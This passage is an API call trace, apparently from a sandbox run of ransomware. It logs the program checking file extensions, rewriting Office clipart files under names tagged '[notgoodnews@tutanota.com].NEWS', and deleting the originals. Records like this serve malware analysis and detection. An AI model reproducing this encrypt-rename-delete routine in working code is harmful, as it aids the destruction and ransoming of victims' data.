returned 1 [0233.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0233.076] lstrlenW (lpString=".zip") returned 4 [0233.076] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0233.076] lstrlenW (lpString=".rar") returned 4 [0233.076] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0233.077] lstrlenW (lpString=".bz2") returned 4 [0233.077] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0233.077] lstrlenW (lpString=".7z") returned 3 [0233.077] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0233.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0233.077] lstrlenW (lpString=".dbf") returned 4 [0233.077] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0233.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0233.077] lstrlenW (lpString=".1cd") returned 4 [0233.077] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0233.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0233.077] lstrlenW (lpString=".jpg") returned 4 [0233.077] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0233.078] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0233.078] lstrlenW (lpString="AN00015_.WMF") returned 12 [0233.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0233.079] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=4734) returned 1 [0233.079] CloseHandle (hObject=0x3c0) returned 1 [0233.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf")) returned 0x20 [0233.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0233.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0233.080] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.081] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0233.081] GetLastError () returned 0x0 [0233.082] ReadFile (in: hFile=0x3c0, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x127e, lpOverlapped=0x0) returned 1 [0233.387] WriteFile (in: hFile=0x3a0, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x1280, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0x1280, lpOverlapped=0x0) returned 1 [0233.392] ReadFile (in: hFile=0x3c0, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x0, lpOverlapped=0x0) returned 1 [0233.392] WriteFile (in: hFile=0x3a0, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xec, lpOverlapped=0x0) returned 1 [0233.393] SetEndOfFile (hFile=0x3a0) returned 1 [0233.393] CloseHandle (hObject=0x3a0) returned 1 [0233.394] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.394] SetEndOfFile (hFile=0x3c0) returned 1 [0233.405] CloseHandle (hObject=0x3c0) returned 1 [0233.406] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0233.491] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf")) returned 1 [0233.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0233.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0233.541] lstrlenW (lpString=".doc") returned 4 [0233.541] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.542] lstrlenW (lpString=".docx") returned 5 [0233.542] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0233.542] lstrlenW (lpString=".pdf") returned 4 [0233.542] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.542] lstrlenW (lpString=".xls") returned 4 [0233.542] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.542] lstrlenW (lpString=".xlsx") returned 5 [0233.542] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0233.542] lstrlenW (lpString=".ppt") returned 4 [0233.542] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0233.542] lstrlenW (lpString=".zip") returned 4 [0233.542] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.542] lstrlenW (lpString=".rar") returned 4 [0233.542] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.543] lstrlenW (lpString=".bz2") returned 4 [0233.543] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.543] lstrlenW (lpString=".7z") returned 3 [0233.543] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0233.543] lstrlenW (lpString=".dbf") returned 4 [0233.543] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0233.543] lstrlenW (lpString=".1cd") returned 4 [0233.543] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0233.543] lstrlenW (lpString=".jpg") returned 4 [0233.543] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0233.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0233.544] lstrlenW (lpString=".doc") returned 4 [0233.544] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.544] lstrlenW (lpString=".docx") returned 5 [0233.544] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0233.544] lstrlenW (lpString=".pdf") returned 4 [0233.544] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.544] lstrlenW (lpString=".xls") returned 4 [0233.544] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.544] lstrlenW (lpString=".xlsx") returned 5 [0233.545] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0233.545] lstrlenW (lpString=".ppt") returned 4 [0233.545] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0233.545] lstrlenW (lpString=".zip") returned 4 [0233.545] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.545] lstrlenW (lpString=".rar") returned 4 [0233.545] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.545] lstrlenW (lpString=".bz2") returned 4 [0233.545] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.545] lstrlenW (lpString=".7z") returned 3 [0233.545] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0233.545] lstrlenW (lpString=".dbf") returned 4 [0233.545] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0233.546] lstrlenW (lpString=".1cd") returned 4 [0233.546] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0233.546] lstrlenW (lpString=".jpg") returned 4 [0233.546] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.546] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0233.547] lstrlenW (lpString="AN00914_.WMF") returned 12 [0233.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0233.560] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=10832) returned 1 [0233.560] CloseHandle (hObject=0x3b0) returned 1 [0233.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf")) returned 0x20 [0233.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0233.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0233.622] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.622] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0233.623] GetLastError () returned 0x0 [0233.623] ReadFile (in: hFile=0x3c0, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x2a50, lpOverlapped=0x0) returned 1 [0233.650] WriteFile (in: hFile=0x3a0, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x2a60, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0x2a60, lpOverlapped=0x0) returned 1 [0233.653] ReadFile (in: hFile=0x3c0, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x0, lpOverlapped=0x0) returned 1 [0233.654] WriteFile (in: hFile=0x3a0, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xec, lpOverlapped=0x0) returned 1 [0233.654] SetEndOfFile (hFile=0x3a0) returned 1 [0233.661] CloseHandle (hObject=0x3a0) returned 1 [0233.661] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.661] SetEndOfFile (hFile=0x3c0) returned 1 [0233.669] CloseHandle (hObject=0x3c0) returned 1 [0233.669] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0233.670] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf")) returned 1 [0233.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0233.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0233.671] lstrlenW (lpString=".doc") returned 4 [0233.671] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.671] lstrlenW (lpString=".docx") returned 5 [0233.671] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0233.672] lstrlenW (lpString=".pdf") returned 4 [0233.672] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.672] lstrlenW (lpString=".xls") returned 4 [0233.672] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.672] lstrlenW (lpString=".xlsx") returned 5 [0233.672] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0233.672] lstrlenW (lpString=".ppt") returned 4 [0233.672] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0233.672] lstrlenW (lpString=".zip") returned 4 [0233.672] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.672] lstrlenW (lpString=".rar") returned 4 [0233.672] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.673] lstrlenW (lpString=".bz2") returned 4 [0233.673] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.673] lstrlenW (lpString=".7z") returned 3 [0233.673] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0233.673] lstrlenW (lpString=".dbf") returned 4 [0233.673] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0233.673] lstrlenW (lpString=".1cd") returned 4 [0233.673] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0233.673] lstrlenW (lpString=".jpg") returned 4 [0233.674] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0233.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0233.674] lstrlenW (lpString=".doc") returned 4 [0233.674] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.674] lstrlenW (lpString=".docx") returned 5 [0233.674] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0233.674] lstrlenW (lpString=".pdf") returned 4 [0233.674] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.674] lstrlenW (lpString=".xls") returned 4 [0233.674] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.674] lstrlenW (lpString=".xlsx") returned 5 [0233.675] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0233.675] lstrlenW (lpString=".ppt") returned 4 [0233.675] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0233.675] lstrlenW (lpString=".zip") returned 4 [0233.675] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.675] lstrlenW (lpString=".rar") returned 4 [0233.675] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.675] lstrlenW (lpString=".bz2") returned 4 [0233.675] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.675] lstrlenW (lpString=".7z") returned 3 [0233.675] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0233.676] lstrlenW (lpString=".dbf") returned 4 [0233.676] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0233.676] lstrlenW (lpString=".1cd") returned 4 [0233.676] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0233.676] lstrlenW (lpString=".jpg") returned 4 [0233.676] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.677] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0233.677] lstrlenW (lpString="AN01039_.WMF") returned 12 [0233.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0233.678] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=3344) returned 1 [0233.678] CloseHandle (hObject=0x3c0) returned 1 [0233.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf")) returned 0x20 [0233.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0233.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0233.679] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.679] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0234.754] GetLastError () returned 0x0 [0234.754] ReadFile (in: hFile=0x3c0, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0xd10, lpOverlapped=0x0) returned 1 [0234.761] WriteFile (in: hFile=0x398, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xd20, lpOverlapped=0x0) returned 1 [0234.764] ReadFile (in: hFile=0x3c0, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x0, lpOverlapped=0x0) returned 1 [0234.764] WriteFile (in: hFile=0x398, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xec, lpOverlapped=0x0) returned 1 [0234.764] SetEndOfFile (hFile=0x398) returned 1 [0234.765] CloseHandle (hObject=0x398) returned 1 [0234.765] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0234.765] SetEndOfFile (hFile=0x3c0) returned 1 [0234.771] CloseHandle (hObject=0x3c0) returned 1 [0234.772] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0236.082] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf")) returned 1 [0236.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0236.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0236.186] lstrlenW (lpString=".doc") returned 4 [0236.186] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0236.186] lstrlenW (lpString=".docx") returned 5 [0236.186] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0236.186] lstrlenW (lpString=".pdf") returned 4 [0236.187] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0236.187] lstrlenW (lpString=".xls") returned 4 [0236.187] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0236.187] lstrlenW (lpString=".xlsx") returned 5 [0236.187] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0236.187] lstrlenW (lpString=".ppt") returned 4 [0236.187] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0236.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0236.187] lstrlenW (lpString=".zip") returned 4 [0236.187] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0236.187] lstrlenW (lpString=".rar") returned 4 [0236.188] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0236.188] lstrlenW (lpString=".bz2") returned 4 [0236.188] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0236.188] lstrlenW (lpString=".7z") returned 3 [0236.188] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0236.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0236.188] lstrlenW (lpString=".dbf") returned 4 [0236.188] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0236.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0236.189] lstrlenW (lpString=".1cd") returned 4 [0236.189] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0236.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0236.189] lstrlenW (lpString=".jpg") returned 4 [0236.189] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0236.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0236.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0236.190] lstrlenW (lpString=".doc") returned 4 [0236.190] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0236.190] lstrlenW (lpString=".docx") returned 5 [0236.190] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0236.190] lstrlenW (lpString=".pdf") returned 4 [0236.190] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0236.190] lstrlenW (lpString=".xls") returned 4 [0236.190] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0236.191] lstrlenW (lpString=".xlsx") returned 5 [0236.191] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0236.191] lstrlenW (lpString=".ppt") returned 4 [0236.191] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0236.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0236.191] lstrlenW (lpString=".zip") returned 4 [0236.191] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0236.191] lstrlenW (lpString=".rar") returned 4 [0236.192] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0236.192] lstrlenW (lpString=".bz2") returned 4 [0236.192] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0236.192] lstrlenW (lpString=".7z") returned 3 [0236.193] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0236.194] lstrlenW (lpString="C:\\Program Files\\Microsoft 